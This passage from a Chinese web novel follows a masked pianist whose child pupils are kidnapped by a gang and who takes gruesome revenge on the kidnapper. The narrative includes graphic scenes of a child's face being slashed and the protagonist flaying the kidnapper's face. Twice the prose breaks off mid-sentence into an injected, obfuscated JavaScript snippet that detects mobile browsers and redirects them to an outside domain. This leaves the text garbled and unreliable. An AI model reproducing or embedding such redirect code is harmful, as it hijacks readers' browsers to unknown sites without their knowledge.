不仅让这架优雅钢琴发出了铮铿杂声,粗鲁难听,更毁了整首美妙奏鸣曲落幕的圆满。 弹奏被打断那刻,霍骊有一瞬僵硬,双臂定在半空。 她倒吸凉气,呼声急促。 遗憾的寂静中,择明垂下头不敢直视,宛如死刑前忏悔。他扼住自己令人失望的右手,惩罚般施力掐握。 “我很抱歉,小姐……望您责罚。” 兴致正浓忽被破坏,不满是毋庸置疑,但霍骊很快平静收手,关切予以询问。 “这没什么,我不生气。但我可不可以,看看它的伤。” 沉思着经过几番犹豫,择明将袖口挽至腕部,向人展示。 损坏未在他右手表面,但因骨骼错位导致的变形一目了然。皮肤下淤血消退,关节不再红肿,可仔细看,几处地方颜色仍深浅不一。 “你现在还会疼吗?” “托夫人和医生的关照,已经好很多了。只是还需要点时间恢复。” 深深凝望这些斑驳色块,霍骊哀声叹息。 “他们说,这是因为我造成。” “真的是我……做错了什么事吗?” 这番话从她口中说出,性质意义远不同字句本身。 作为霍家地位高贵的长女,最受众人重视保护的大小姐,她表现得过于‘善良怯懦’。却也符合久居不出,不谙世事的特质。 笼中之鸟,怀揣一颗脆弱敏感,花蕾般娇嫩的心。 择明并未直接回答。 “您想听真话还是假话,小姐。” 霍骊略作思索,抉择时苦恼拨弄碎发,撩动黑纱。缕缕幽香随她动作弥散,是兰花风信子的前调。 “我就……不能选都听吗?” 她最后小声嘀咕着,颇有娇嗔意味。 “只要是您的意愿,霍骊小姐。我无论怎样都会满足您。您的喜悦是我至高无上的荣幸,让您失望是我的万劫不复的罪过。”青年说着眉眼微弯,唇角绽笑。 可他的下一句,却如箭矢无情,让对方绞紧双手,心沉入冰海。 “假话是,我被砸毁右手与您毫无瓜葛。” 真相便与之相反,起因果真在于她。 择明特地等这只鸟儿因惊愕歉疚抬头,续上后话。 “而真话是,我的受伤源自他人对我的‘嫉妒’。这种野兽蛮横又愚蠢,残忍又下作,光靠我只身一人抵抗,我必然惨烈败落。” “但是因为您,和与您的约定,我坚持下来了。” 尽管看不见面纱后的脸庞,但他已知道对方因他的话释然,使那轻柔嗓音也带上点欢快笑意。 “有没有谁跟你说过,你的嘴跟你琴声一样甜蜜,可宽慰人心?” “您是第一位,我亲爱的小姐。” 霍骊歪着脑袋打量他,身子轻晃不复端庄矜持,尽显少女俏皮姿态。 “你就像一个高音音符。” 她轻笑道,“所有音符中,我最偏爱的那个。” 预料中的欣喜若狂,惊诧无措并未发生,在她看来,眼前青年的一句‘多谢小姐夸奖’平淡如水,尤为反常。 她有些苦恼地抿嘴,轻拍琴身,不知不觉主动找起新话题。 “那你觉得我怎么样?我还以为,你见到我会很高兴的,又或者,很失望的……” 一阵长久沉默始料未及,长久到她禁不住蹙眉,透过黑纱以视线描摹那张脸上的光影线条。 贴合鼻梁的面具,微笑时唇角旁的阴影,未能被遮掩的部分烧伤疤痕。 以及一双对她目光似水,饱含温情的眼眸。 “我永远不会对您失望,小姐。事实上,您是我的希望伊始,梦境归宿。” “我只是很担忧您。” “您现在,还依然感到恐惧吗?” 恐惧。 霍骊喃喃跟念。 扯紧手套裙摆有如触电,沉默者轮到了她自己,双眼因惊骇而瞪圆。 明知那蓝眸青年看不见自己的脸,然而那两道视线却不偏不倚与她交汇,令人产生被看穿的错觉。一如秘密委身阴影,却将在太阳光下无处遁形。 “我有点累了……你也早些回去休息吧。” 择明听见她闷声说着,委婉下逐客令。 一句‘好的,小姐’,他们两个地位差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592339|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距悬殊的琴友就此分别。 出来时择明手中的提灯已扑闪黯淡,天边正泛着鱼肚白。 原来他跟霍骊这一弹琴夜聊就过去了整宿。 这时间点困意全无,择明穿行迷宫花园,任晨露沾湿发丝衣角。 【系统Z:为什么您说她在恐惧,主人】 “好问题,Z。这是你有史以来最好的问题。”他赞许道,并悠悠解释。 “这一夜,她在为自己来之不易,且短暂的自由欢畅,不愿浪费点滴时光。尽管她也追求着品质极高的弹奏,不过她心软太多,几乎是两倍了。唔,是相比较下。” 【系统Z:相比较谁,主人】 “嘘——这是秘密,别毁了惊喜。” 像初到琴房那日,择明绕开回答,调笑似得朝空气眨眼。 这是一个令人愉快的夜晚。择明迎着晨曦回到花房,如此总结道。 作为尽职尽责的老师,他次日照旧收拾起课本教材,前往南片教堂。 然而刚走下便车,站在集市空地的那刻,他便敏锐察觉到一种不和谐的异状。 气球商贩,果摊农妇,补鞋匠,几乎所有曾对他笑脸相迎,热情问候的老熟人,如今见他竟毫无反应,当目光不期而遇,便立即转开,向别的地方吆喝。 沿街徒步行走,怪事接二连三。 橱窗后的店家前一秒还昏昏欲睡,发现他经过瞬间精神抖擞,眼神飘忽不定,在他身上流连。 一群乞丐汇聚巷口窃窃私语,打量的视线自始至终粘着他。 仿佛是暴风雨前的宁静,闷热风流裹挟着铺天盖地的恶意。 事实证明,择明的预感很对。 当他穿行最僻静的穷人街角,系统再次给出提醒。 【系统Z:主人,周围有人跟上来了。大概十八个】 择明速度未变,扬起头轻嗅,眯眼侧耳倾听。 “你错了哦,Z,应该是二十三个。” 前后左右,包括上方无人居住的破旧楼顶,他像被无数鹰隼盯牢的纯真野兔,不知危险来临,惬意地进食漫步。 从跟踪到出动,中间有着很长一段缓冲试探期,紧随择明的人或两两成对,或零散汇聚。 他们看见了彼此,眼中有诧异也有发现竞争的烦躁。只是为了不惊动猎物,纷纷选择团结,一致沉默。 深巷悠长,石板路散发暴晒后的青苔腥味,择明越是往狭窄曲折的路走,他们就得被迫加快脚步,在通道中拥挤在一块。 捕猎者发现猎物正往不可掌控的方向走,难再保持克制,逐渐小跑起来。 有一个开始打破跟踪平衡,后面便争先恐后。 阵阵急促脚步声灌满整片暗巷,可当他们拐弯停在一堵墙前时,错愕整齐闪过他们脸庞。 “人呢?” 其中一个难以置信高喊。 “我还想问你们呢,刚才谁先开始跑的,这下好了,人直接没了!” “你现在喊得大声啊,跑得最快的还不是你?” “统统闭嘴,瞎吵什么,找人啊!” …… 为了相同目标,相同利益,因意见不合争吵时往往更加激烈,无法平息。 择明躲在墙后听得津津有味,拨弄着墙根杂草,别提多开心。 “没辙,不如我们回去。还是把那老头捉了,这样更快。” “啧,没办法,只能这样。听说那老头也快回来了,叫什么来着的?马库斯?” “光靠我们怎么知道他哪回来,老头又不像这‘怪脸人’天天经过集市,还是去找菲尔丁那群家伙问,他有渠道……” “那群小孩不也可以?我记得那卖气球的说过,他好像在教堂给那群小野|种上课。” “上课?哈哈哈,他能上什么,如何撕扯自己脸皮吗。” 轻抚嫩草的手停,择明笑意顿消。 当人群带着污秽粗俗的调笑扬长而去,他才翻越砖墙,利落而平稳的落地。 【系统Z:主人,您要去给点小教训了吗】 “是的,Z。” 手绢擦拭指缝间的泥土灰尘,好似擦拭开锋的利刃,择明嘴角噙笑,声音却是冰冷至极。 “总有人不知道,尊老爱幼,是为人必备的礼数。” 14. 打破的声音是pop!-14 “这一点都不礼貌,布鲁托。你难道忘记莱恩先生要求的吗,我们要尊敬长辈,关爱弱小。这叫尊老爱幼。” 巷口野花田边,萨沙双手叉腰,煞有介事指责。 在她面前,男孩吸溜着鼻涕,红发如鸟窝被草帽盖住。 几乎所有‘莱恩学堂’的学生都汇聚在他们身边,各分阵营。 “我可是有遵守的,”布鲁托不甘示弱回道,“明明说好了我们摘这边的花,你们是那边的,可她跑进来做什么?!” 随他所指方向看,小玛吉安静坐在草丛中,一双眼睛紧随粉蝶扑闪,小脸隐约可见两道泪痕。 如今课堂生源扩招,教堂每天都有陌生伙伴源源不断涌入。萨沙他们作为首批学生,虽然不适应接触新人,但为最敬爱的老师,极力尝试交流相处。 没有成年人或生意场上的利益弯绕,孩子间打闹嬉戏,结实熟稔的速度其实飞快。 可为一点无关紧要小事而出现争吵闹矛盾,也能决裂得更快。 此番场景,正是最好的证词。 起因是昨晚,经老牧师提议,他们决定为莱特老师举行一场感恩会。众人各自准备礼物,再由全体学生摘来鲜花,摆成祝福雕像。 起初分工明确,大家也当作春游乐在其中。 然而当最小的玛吉跑错分工区后,双方人马莫名对立起来。 “玛吉是跑错了。但她又没妨碍你们,你跟她好好说不就行了?凭什么动手推?”萨沙一字一句反问着,甚至不畏对方男孩多,直接逼近两步,“如果你想解释她不听你的话,那你为什么不叫我过来带她回去?还非要弄哭她?” “道歉。你必须向她道歉。” 布鲁托撇嘴,不由自主缩脖子。 尽管他只比萨沙小一岁,但这年纪的女孩往往如春天的桉树,长势迅疾,眼睛一瞪比他还威猛。 更何况,她说得确实在理。 天生脾气急又冲,刚才他见玛吉不听他提醒,没忍住动手又推又拉。没太用力也不痛,但还是弄哭了对方。 道理已经明白,可背对同僚的布鲁托仍不服气,杵在原地像根柱子,硬邦邦的。 “你说是就是啊,我们明明也没做错什么。而且,凭什么那莱恩老师说的都对……” 放在以前,萨沙可没耐心那么好听人碎念,直接带领大孩子们猛踹打压。如今收敛不少,她看着布鲁托支支吾吾憋不出字,白眼一翻,主动给人台阶下。 “行了,我们只想你为你的粗鲁向玛吉道歉,她接受就好。这你都做不到,你还是男子汉吗?” 激将法奇效显著,男孩声音立马来了底气,欲要为自己男子汉的身份明证。 “谁说我做不到,我当然会道歉。喂,玛吉是吧,你——” 道歉卡在中间,布鲁托被小跑奔来的人影扑个正着。 “你们快看哪,那只蝴蝶好漂亮,我们把它抓起来给莱恩先生吧!他一定喜欢。布鲁托你也去吧,你抓虫子最厉害了!” 两道泪痕亮晶晶,玛吉全然忘记此前种种不快,满心满眼都是莱恩先生会喜欢的蝴蝶。 蓝蝶边缘像涂抹漆黑轮廓线,中间镶嵌着蓝宝石般靓丽的色彩。它似乎不畏惧一群虎视眈眈的孩子,优雅而散漫,翩然舞动。 突然被夸赞,布鲁托反倒不好意思起来,同时又有点骄傲窃喜。 “不错,就它是吧。我刚好带着网。走,你们跟我一起追,包围它。” 他立即招呼起好兄弟,包括萨沙身后几位捕虫能手。还不忘牵起激动亢奋的玛吉,有如一位远征者昂首挺胸。 上一秒满腔怒火,这一秒萨沙哭笑不得。 不过当事人都已冰释前嫌,她没必要再追究。 紧握分来的新捕虫网,追逐前方轻盈飘逸的蝶影,一种不同于太阳照耀的暖流,忽然于心中攀升而起。 知识言语贫瘠,萨沙尚不能解释其中缘由,可她永远不会忘记,是谁给她带来这份恩赐。 微笑不知不觉浮现,队伍也逐渐零散,分头穿梭小巷找寻蝴蝶。萨沙行动慢落在末尾,等她再拐弯时,前后左右都不见了人影。 正困惑往哪走,途径岔口的她忽被左边蹿出的身影吓得汗毛倒竖。 布鲁托一手拼命捂住她嘴,边费劲把玛吉往她怀里塞。 “快跑、快回去告诉牧师、不、随便谁!” 布鲁托脸上带伤,是跑太快摔倒蹭地所致,斑斑点点像鱼鳞。他见萨沙愣住,焦急推搡。 “他们有人、不知道是哪来的帮派,把大家用麻袋套走了,刚刚我看到只有几个逃掉。” 仿佛为印证他的说辞,巷尾立即传来杂乱的脚步声。 幼时阴影轻而易举被勾起,萨沙心脏狂跳,下意识抱紧玛吉掉头狂奔,一路不敢停歇,更不敢放慢速度。 当她眼前发昏撞开教堂大门时,屋后的伊凡与老牧师皆是一惊。 脸色煞白的玛吉被老牧师小心接过,她则被伊凡搀扶着站起。 即便双耳嗡鸣听不清询问,萨沙仍牢牢抓住伊凡的手求助。 “先生、大家都被抓走了,我不知道那些人、他们是谁,应该很多,十几个或者二十几个,布鲁托应该为了帮我,也被带走了——” 曾经伶牙俐齿,此刻语无伦次,伊凡理解这份慌乱,按住对方双肩,神色平静得堪称冷峻。 “你有看到他们的长相,听到他们说过什么话么。” 萨沙喘着气,脑袋从未转得如此之快。她甚至都不知道自己是怎么脱口而出道。 “我听到他们再说什么‘菲尔德’、还是‘菲尔顿’的。” 伊凡脸色顿时一沉。 戴维·菲尔丁。 视线瞥向自己受伤的手,伊凡当即联想到昨天种种。 但事件真正牵扯到的并非他,是会来这给孩子上课,又与戴维有过节的莱特·莱恩。尽管这是单方面,且不加顾虑的疯狂报复。 由于某些原因,他知道戴维·菲尔丁家族所属的民间帮|派——腹蛇。包括腹蛇成员遍布四周的大小基地,各类交易娱乐场所。 那些出身帮派的人,做事有多活络多重情重义,他见识过。 而他们能多狠毒多蛮不讲理,他也亲证过。 男人当机立断,起身披上外套。 “帮我照看好她们,大门锁住。我去找人帮忙,很快就能把他们找回来。” “等等先生、请您先等一下!” “您这是要去哪,又向谁求?” …… 对老牧师源源不断的制止询问置若罔闻,伊凡手搭上门把那刻,终于被厉声叫住。 “伊万!” 老者面露愠色,然眼中更多是担忧。他压低声音道。 “我照看教导你,现在你就是这么选择的吗?” 男人定在门前,并未回应也没下一步动作。 这不禁让老牧师心生希冀,放软态度乘胜追击道。 “你转过来,看着我的眼睛跟我说,你到底要去找谁?在主的面前,回答我。” 但令牧师失望的是,对方推开门只说了一句。 “我现在叫伊凡·贝内特,先生。” 教堂大门沉重而厚实,打开又关起,像一扇世界之门开合翻转,伴随震颤人心的闷响,明暗界域两相颠倒。 十五个被装在臭烘烘麻布袋里的孩子,听到的正是这种声音。 搬运他们的人与温柔毫无瓜葛,将他们丢地上叠着,令他们彼此磕脑门撞下巴,禁不住抽噎痛呼。 “这些是什么玩意儿?瞎糊弄这些,我可不给你们赏金。” 这嗓音难听刺耳,属于成年男性,伴着反胃的酒嗝声。 有人回答了他。 “戴维,这是那群跟他上课的小畜生们。” 名叫戴维的男人啧啧着走来,一一掀开布套。相比这群打手,他更不怜惜,连带着扯掉女孩几撮长发,眼睛都不曾眨一下。 惊恐,哆嗦发抖,十五名孩子强忍大哭冲动,瑟缩墙角打量这陌生环境。 偌大酒仓原是玻璃工厂,如山堆积的酒箱旁,紧闭的大门窗户下,遍布剔透发亮的碎渣。 他们身处草垛边,围住他们的大人谈不上凶神恶煞,可一双双眼中不含丝毫怜悯,仅是算计阴谋的精光,足以为之惶恐。 “他那头丑怪物,会肯乖乖来这要人?别像上次哭着鼻子找爷爷找爸爸,到时候白费我功夫。”戴维拍打其中一个男孩脸颊,逗弄动物似得。 “这包在我们身上,只要这个最后到位……” 领头地位的打手摩挲两指,笑意谄媚又是掩不住的贪婪。 戴维扬起左手比划了一个‘三’,爽快答应。 “行,价格按你们人数翻倍不成问题,毕竟你们比那些零散招来的苍蝇更有用。”说到这,他禁不住地冷笑,猛灌一口红酒。 “只要最后能把他人带过来,呵,我保证,他今后就不会再出现,污染别人眼睛了。” “这么说,你是要准备亲手……” 打手领头做出抹脖子动作,好奇询问。 戴维小眼睛眯成缝,蔑视程度陡增。 “你可小瞧我们腹蛇的人了。光打死他怎么够?他不仅陷害我,让我手现在还得挂在我脖子上,简直像狗拴着绳。”恨意怒意交织,他越说越牙痒痒,“他甚至还让我接触霍骊小姐的计划泡汤,直接被赶出庄园!” 与戴维私下有接触,小领头立即打趣道。 “不是吧,你真想把那位高高在上的大小姐娶回家?我们这哪里没女人,她就有那么好看让你惦记到现在?” 戴维陷入回想,那垂涎的模样活像数天未进食的饿狼。 他仅仅见过一次霍骊。 那晚,他溜进主宅偷酒。 不知为何,当时明明才上半夜,整座宅邸却异常安静,根本没人站岗巡逻。所以虽然氛围令他发毛,可他仍壮着胆子行动。 酒窖被锁他无法得手,于是便将主意打到餐具和装饰物件上。霍家一对银刀叉,在外面也能顶半个月饭钱。 从未探索过主楼高层,他那晚才知道五层六层是空置的,而一声骇然咆哮几乎将他吓得魂飞魄散,连忙躲进楼梯隔间。 正因如此,他才透过门洞看见了霍骊。 她双足赤|裸,单穿白色长裙睡衣,披散黑发走下楼梯。 她的脸,就算是做出暴怒神情,也只会像醇酒那般浓香迷醉。她的人,即便像死尸苍白,像乞丐邋遢,仍如蒙尘珍珠耀眼夺目。 绝美一词,简直是为她量身定做。 抽离短暂回忆,戴维摆手驱逐道。 “那可不,都吃过山珍海味了,你难道还想回去吃剩菜剩饭?快去,抓紧时间把那丑恶□□给我抓来。” “莱恩先生……才不丑恶。” 微弱的抗议,顿时寂静了全场。 戴维直起身扫视这群人质,冷笑质问。 “刚刚谁说的?嗯?” 见所有小不点低着头,不吱声,他抬脚踹翻装满空酒瓶的木箱,噼啪破裂声震得他们瑟瑟发抖。 一块形状适合的玻璃被戴维握在手中,他掐住前面女孩的脸,尖端抵上人嘴角。 “不说是吧,那我只好全部一起惩罚了,你们都快跟那丑八怪学坏了。” 玻璃尖扎得冰冷又刺痛,女孩已泣不成声。 “是我。” 窝在所有人后方,尼尔高声承认道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592340|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “刚刚那句话是我说的。” 与目光狠毒的戴维对视,他毫不畏惧,因他已见惯这种眼神,也因他笃信自己的话绝对没错。 戴维抓住男孩头皮将他整个人拎起,没有盘问和给对方求饶的时间,玻璃块按进唇角,发狠用力一划。 痛起初感觉不到,尼尔没发出声音。 但亲眼目睹这残忍血腥的一幕,其余孩子或吓傻吓呆,或放声尖叫,恐惧充斥所有人心房。 把尼尔丢回草垛,戴维面目狰狞威胁着。 “谁下一个还敢乱说话,乱跑出去。就和他一样。” 对此,打手们司空见惯,最多感叹句‘不愧是腹蛇的’。 划伤几乎蔓延到耳根,好似小丑的夸张笑容,男孩此刻脸色惨白如纸,发出痛苦呻|吟。 无措惊恐的伙伴中,同样脸上带伤的布鲁托率先爬出来。 “喂、喂你没事吧。我帮你止血,你别乱动、千万别动。” 分明害怕至极,他仍强迫自己镇定,按课堂所学知识紧急处理。就是学得不伦不类,有点勉强罢了。 对小孩互助依偎的场面不感兴趣,戴维拉过半人高的移动栅栏,像对待牲口将他们圈住。打手离开,工厂大门一关,他又拎起酒瓶,美滋滋爬上二层工作台。 半小时过去,啜泣声此起彼伏。 尼尔虽不再淌血却已陷入昏迷,最初被威胁女孩也同他相识最久,守在他身边,怎么也止不住眼泪。 死亡于她而言,仍是模糊又遥远的概念,但疼痛是无人不知无人不晓的恶徒。她嘴角至今发红刺痛,深知被划开脸颊,又是何种折磨。 高空抛落酒瓶,砸碎在他们几步外。 “别给老子再哭了!吵死了。” 凌厉骂声却逼得她抽噎加重,不得不用沾血的双手拼命捂住嘴,身躯颤抖发冷。 在这绝望境地,她从未如此渴求温暖触碰,哪怕只是意作安慰的轻抚。 头顶忽然一重,温度仿佛透过掌心,传达进心底。 女孩错愕抬起头,泪水险些为那张熟悉面容夺眶而出。不止是她,所有心不着地的孩子,双眼再度发亮。亮晶晶的泪光里闪烁希望。 择明食指抵在唇前,及时示意众人噤声。 年龄最小的男孩踉跄冲来,试图穿过栏杆抱住他的腿。这个吓坏的小东西,浑然不知到底发生什么,只像野兽幼崽,下意识追寻母兽温暖安心的怀抱,嚎啕大哭。 同样以手轻按住人,择明弯腰,在这小可怜头顶印下一吻。 面具冰冷,唇却是温软的,被他蔚蓝如海的眼睛注视,男孩如暴雨骤然止歇,乖巧站定。 而择明的视线,在尼尔惨不忍睹的伤上停留最久。 他最后捡起一块块玻璃碎片握着,俯身呢喃轻如呓语。 “让我们再玩一次‘瞎子找人’游戏。” “还记得游戏规则吗?你们闭上眼睛,无论发生什么都不能作弊睁眼,数到二十开始,马上跑到外面躲起来。然后,我会数道一百,来找到你们。” 对着他,孩子们无条件点头照做纷纷闭眼,也就错过他们这温柔和善的老师如乌云遮日,神色刹那阴冷的奇景。 一,二,三。 第一枚玻璃飞射,精准砸破第一盏灯泡。 四,五,六…… 第二第三盏紧随其后,瞬间暗淡。 醉酒脑袋昏沉,戴维在灯炸裂第五盏时才发觉异状,揉着脑门起来。 这间老旧工厂有点年纪,而他平时除了喝酒,也不常来,原以为是电路设备问题,他晃悠悠准备下去。 最后一盏灯,是悬在草垛正上方的。 看清人影他反应未及,怔在原地。 可当那莱特·莱恩嘴角弯起,对他炫耀般举起持有玻璃的手,一股热血直冲脑门。 怒吼未出,仅剩的光源在一场短暂而绚丽的炸裂中消失,他顺扶梯下滑,手持破酒瓶直奔草垛。 然而他低估了黑暗带来的不便,十几步路跌跌撞撞,怎么都找不到方向。 “出来!你这烂泥□□脸!” “别以为你逃的掉,我外面还有人看着!” “莱特·莱恩!——” 咆哮愈是大声,四周被衬得越是死寂。 这反常的安静非但没让他放心,反而滋生出惴惴不安的情绪。而越是慌乱,双眼越难以适应这份黑暗。 第一下右脚踝被砸,犹如大树根部斩断,戴维栽倒的那刻,清楚的听到骨骼断裂的脆响。声音与他手被砸断时的如出一辙。 第二下脊椎中央敲击,他像瓷器被找到隐藏裂缝,整个破开失去活力。 这一刻他才知道,原来有种痛,能痛得他失去呼喊的能力,只能匍匐在地,不断抽搐。 踱步声围绕他转圈,轻盈而缓慢,调子一如它的主人,似蛇盘旋收紧身躯,一点点挤出猎物肺里的空气,将其绞死。 “您知道么,戴维先生。” 他听到对方说道。 “在有些养蛇场里,他们会这样惩罚无法驯服,肆意咬人的‘坏蛇’的。” 他的头被人拽起,但他身躯无力,无法动弹。 冰冷的玻璃,塞入他齿间,玩闹似地轻轻敲打,磨|蹭|舌尖。 “他们会,拔了它的毒牙。看着它懊悔扭动身躯,张嘴痛苦哀求。” 双目终于适应黑暗,戴维·菲尔丁却如走投无路的虔诚信徒祈祷,期望这只是能醒来的噩梦。 因为望着他嘴角噙笑的青年,像剧毒的腹蛇吐出红信,嘶声连连,对他道出世间最令人颤栗的恐怖言语。 “最后剥了它的皮,将它挂在笼子上,像个独特又漂亮的展示品……是的,漂亮又独特。” 15. 打破的声音是pop!-15 车无法挤进狭窄路段,因此拥在路口,让所载乘客下车。 行动有条不紊,沿小道鱼贯而入,他们或环顾周边,或直视前方,时刻警觉又并不刻意,无一不是安如磐石的神情,沉着不愧于‘军队’之称。 伊凡·贝内特落在最后一位,动身前被司机阻拦。 “阁下,您没必要进去。” 司机越过靠背按住他车门把手。 “我们先生不希望,您又在这无关紧要的小事上出了差池。” 右手割口隐隐作痛,提醒着前次惊心动魄的袭击,然而伊凡决意已定。 “有他们在,我会不安全么。还是说,你对你们先生的实力存有质疑?又或者······是不信任我?” 伊凡目光冷冽,质问难以回答。趁司机沉默的空档,他推门追向队伍。 帮派腹蛇据点众多,但位于附近适合关押人质,较为隐蔽的屈指可数。支援分成数队出动搜查,他则跟随其中一支前往最可能的地点——查尔斯玻璃厂。 伊凡匆匆跟上时,队伍早聚集在工厂外。 出乎他意料,孩子们已经被找到了。 他们被簇拥着领出那间破旧门卫亭,见他像见到救星,一拥而上。 场面略显混乱,有急着给他看伤,有边哭边胡言乱语。救死扶伤但未同时应付数量如此之多的小孩,伊凡感到头疼。 他不得不佩服起某位连续上八节课,还能继续陪学生玩耍的‘莱恩老师’。 “医生!老师他、莱恩先生他还在里面。”布鲁托挤进求安慰的队伍,总算说了句有用的话,“他让我们出来等,可我们一直没看到他。对了,里面还有个叫戴维的该死混蛋,就是他把尼尔伤成这样!” 掠过男孩嘴边的伤,男人眸光暗沉,蹲下捧起对方脸检查。 “不是很深,能够缝好。麻烦你们带他们先行离开,处理伤口要紧。” 示意同行者将这群吓坏的小不点转移,伊凡视工厂为目标,雷打不动。 工厂东面外墙边,一扇小门留有新鲜痕迹。它的锁被撬开,锈斑剥落洒满地。 队伍成员紧贴墙根,查探确认安全,立即互打手势。 随三声倒数结束,队伍攻破工厂可有可无的防线,以迅雷不及掩耳之势敲开大门锁头。 耀眼阳光一同闯入漆黑厂内,碍于范围有限未能照亮空间深处,他们不得不放缓脚步,警惕四周。 嗅觉较常人敏感几分,伊凡进门起就眉头紧锁。 他嗅到空气中弥漫的鲜血气息。 如雾薄薄一层,微不可见的粒子翻腾,扑向脸颊挥散不去。 木板封闭的门窗被逐一敲开,当光蔓向工厂中央,众人倒吸凉气的声音奏响,编织成一首惊悚短曲。 他们正上方,搬运货物用的吊钩左右摇晃。 这尖勾今日竟仿照起它的兄弟‘鱼钩’,垂挂一条巨型鲜鱼。 然而陆地上是不可能有大鱼出现的。 那是一个人。 “这······这是人?!死了吗?” 捕捉到谁的惊呼,伊凡·贝内特心霎时提到嗓子眼,顾不得形象仪表,左右推搡挤开人,来到吊钩下。 定睛凝神,他因眼前所见错愕发怔。 ‘大鱼’的身形,衣着,皆是他不熟悉的,即便对方肩部以上被悬顶阴影藏匿,他也笃定这不是莱特·莱恩。 ——秋天,渔夫大丰收的时节钓来一条最肥美的‘国王’鳟鱼,它鳞片金光闪闪,两腮鼓动,尾尖笔直垂挂不再乱舞,终于变成一位西装革履的斯文绅士 脑中浮现笔者姓名未知的诗词,伊凡与周围等人被一阵窸窣惊醒。 酒箱堆后,择明探出脑袋。 “噢,”他现身,小作惊讶道,“我还以为我真要大难临头,逃不过这遭了。” 望着人从暗处幽幽走出,伊凡一时无言。 莫须有的心慌扰乱思绪,他脱口而出。 “你没事?” 疑问简直好笑且多余,即便如此择明仍展开双臂,认真展示着。 “如您所见,伊凡先生。我很好,多谢你关心。” 说罢仰头向上看,他一声叹息,别有深意。 “倒是戴维·菲尔丁先生。我过去就时常担忧他喝醉酒迷了眼,伤了自己······唔,我深表惋惜。但或许他还幸运地留有一口气,能请您这些朋友帮忙放他下来吗?” 操作平台位于二层,支架由铁架木板搭建,宽敞又结实,人走上去轻而易举。 可以戴维这姿态和位置,他若是想跃下‘钓’起自己,难度绝非一星半点。 面对诸多疑点,伊凡一反常态放弃深究,示意帮手将戴维放到地面。 领队哈罗德面容瘦削,长有一只傲人鹰钩鼻,他蹲下探查戴维生命特征,语气与之冷漠神情相符。 “他还活着,阁下。” 哈罗德尚未提及的内容,是戴维嘴角耳边溢出的可疑血水,以及脸颊左右被剥开,沿鼻梁完美对称的皮肤。 一只‘蝴蝶’于他面庞上歇息,双翼由他脸皮所造,紧贴周围隐约可见的切割线条。 那人对戴维所做,绝非憎恶主导。 他看戴维的脸,好似看待上好泥胚,精雕细琢,打磨作品,期望赋予其美好的价值,实现超乎寻常的蜕变。 手法精湛,不会让伤者鲜血四溅,甚至感受不到煎熬剧痛。因这份雕琢处处透露着珍视,才使其中的残忍愈发不寒而栗。 行医来目睹无数触目惊心的伤,伊凡率先恢复平静。 然而某种怪异情绪浮现,强烈难以遏制。是安士白剧院那晚他亲临排演时凶猛的颤栗感。 强压不安,他定神指示道。 “给他注射麻|药,趁现在把他送到就近医院,丢在门口。注意行动时不要被人完全目击到。” “遵命,阁下。” 哈罗德扬手二次吩咐部下,余光不经意瞥过角落。 佩戴面具的青年负手而立,观望着他们。虽是置身事外的做派,但偶尔又流露出欣赏的悠然惬意。 他们心知肚明,到底是谁向这名绑架者施以酷刑。 “恕我直言,阁下,”哈罗德趁与伊凡擦肩而过,轻声告诫,“您的这位朋友,您所说的‘受害者’,他可不是一个任人拿捏,爱心泛滥的软蛋。至少,现在的他不是。希望您擦亮眼睛,不只是为了我们先生,还为您自己。” 伊凡五味杂陈,失去往常刻薄精悍的言辞,待哈罗德远去才回神。 在那双蔚蓝眼睛的注视下前进,他紧盯面具上残留的血斑,掏出手绢。 “擦擦吧,这里沾了点脏东西。” 择明点头道谢,拭去血色,与伊凡肩并肩离开乘车,一路镇定如常。 他们赶回教堂时,尼尔已情况稳定,伤口整齐缝合,外面贴着纱布,完全看不出之前的狰狞骇人,他人在麻醉药作用下呼呼大睡,算是有惊无险。 出于对安全的考量,伊凡决定暂停教堂的课,同时将萨沙几个孩子与牧师一行接到他镇内的住处。 早晨被绑架,午后又突然被告知要搬家,孩子们受惊吓不轻,神经紧绷频频出错。 发现萨沙又一次举着衣服傻愣愣定住,择明靠近,按下对方的手。 “东西可以不用带那么多,萨沙,我们会帮你们准备好。大家都会没事的,我保证。” 收留者伊凡没发话,但依这位面冷心热医生的脾气,衣食住行铁定不亏待。 女孩转身,双目因哭过发红,眼睑肿起。她像风中无依无靠的秧苗身躯颤抖,最终控制不住向前重重一扑,趴上那温暖宽阔的胸膛。 “莱恩先生、为什么会有您这样的人?” 伴着啜泣,她哽咽发问。 “为什么您要对我们这么好?一次又一次的、这样帮我们、拯救我们?” 侥幸逃过绑架,但她几乎所有的同伴,亦是她最珍视的兄弟姐妹都不幸落入奸人之手。她当时绝望得失去灵魂,成为具行尸走肉。 可车不仅将尼尔他们送来了,连同带回一个‘恩人’救他们于死境的佳话。 莱特·莱恩只身步入虎穴狼巢,毫发无损归来。 她并不知道对方做了什么,只知道这是她迄今为止所见过的,最强大,也最美好的结合体。 只要记住这些,足够了。 轻拍萨沙后背为其顺气,择明等抽噎声渐歇才拥着人宽慰,嗓音轻柔。 “为什么要救?” “因为你们对我来说是至关重要的存在,是值得我付出倾注,上限可至一切的。我不希望你们受到任何伤害。” “让尼尔变成这样,我愧疚万分。希望你们允许我未来补偿。” 说话间有意偏头一看,伊凡·贝内特在不远处。 